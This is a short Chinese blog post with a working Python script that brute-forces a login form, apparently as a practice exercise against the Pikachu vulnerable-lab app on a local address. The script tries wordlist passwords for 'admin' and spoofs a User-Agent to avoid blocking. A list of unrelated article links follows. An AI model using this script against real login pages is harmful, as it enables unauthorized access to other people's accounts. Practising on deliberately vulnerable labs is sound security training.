当前位置: 首页 > news >正文

python暴力破解html表单

import requests
import time

# 目标URL
url = "http://192.168.3.101/pikachu/vul/burteforce/bf_form.php"  # 请替换为实际的目标URL

# 已知的用户名
username = "admin"

# 密码字典文件路径
password_file = "passwords.txt"

# 伪造请求头,避免被拦截
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}


def login_attempt(username, password):
    session = requests.Session()
    response = session.get(url, headers=headers)

    # 构建表单数据
    data = {
        'username': username,
        'password': password,
        'submit': 'Login',
    }

    # 发送POST请求
    response = session.post(url, data=data, headers=headers)

    # 将返回的页面写入文件(调试用)
    with open('response.txt', 'w', encoding='utf-8') as f:
        f.write(response.text)

    # 检查是否登录成功
    if "login success" in response.text.lower():
        print(f"[+] Password found: {password}")
        return True
    else:
        print(f"[-] Incorrect password: {password}")
        return False


# 读取密码字典文件
with open(password_file, 'r', encoding='utf-8') as file:
    for password in file.readlines():
        password = password.strip()

        # 尝试登录
        if login_attempt(username, password):
            break

        # 适当延迟请求,避免被封
        time.sleep(1)

但是话说回来,这样的纯小子后台已经不多了,大部分加了验证码或者尝试登录次数的判定,所以也没什么用处

这个不建议改多线程,小网站的话真的会被扫崩掉,大网站也有封ip的风险

相关文章:

  • 【网络】网关
  • 【C++】结构体中的 std::string:赋值操作的安全性与 memset和memcpy 的陷阱
  • 将Wi-Fi模块订阅MQTT主题以获取最新的固件版本推送信息
  • NAT 模式
  • Hive根据输入数据量计算reducer的数量,这个输入数据量是map阶段的输出结果还是客户端提交任务时的数据量?
  • MongoDB 面试备战指南
  • 0.http协议详解
  • 地理信息可视化技术大全【WebGIS 教程一】
  • 软考系统架构师论文模版及实例
  • Spring Boot 项目打包运行
  • 项目流程中关键节点的测试类型
  • Spring IOC容器详解:深入理解控制反转与依赖注入
  • MySQL |表的约束
  • Unity Shader编程】之复杂光照
  • Box-Cox变换:让数据服从正态分布的数学魔法
  • node-red s7.net
  • Java 基础面试题
  • 常考计算机操作系统面试习题(一下)
  • Matlab教程001:软件介绍和界面使用
  • 力扣刷题78. 子集
  • 巴西总统卢拉抵达北京
  • 印控克什米尔地区再次传出爆炸声
  • 可量产9MWh超大容量储能系统亮相慕尼黑,宁德时代:大储技术迈入新时代
  • 保证断电、碰撞等事故中车门系统能够开启!隐藏式门把手将迎来强制性国家标准
  • 人民日报评“组团退演出服”:市场经济诚信原则需全社会维护
  • 独家丨刘家琨获普利兹克奖感言:守护原始的感悟力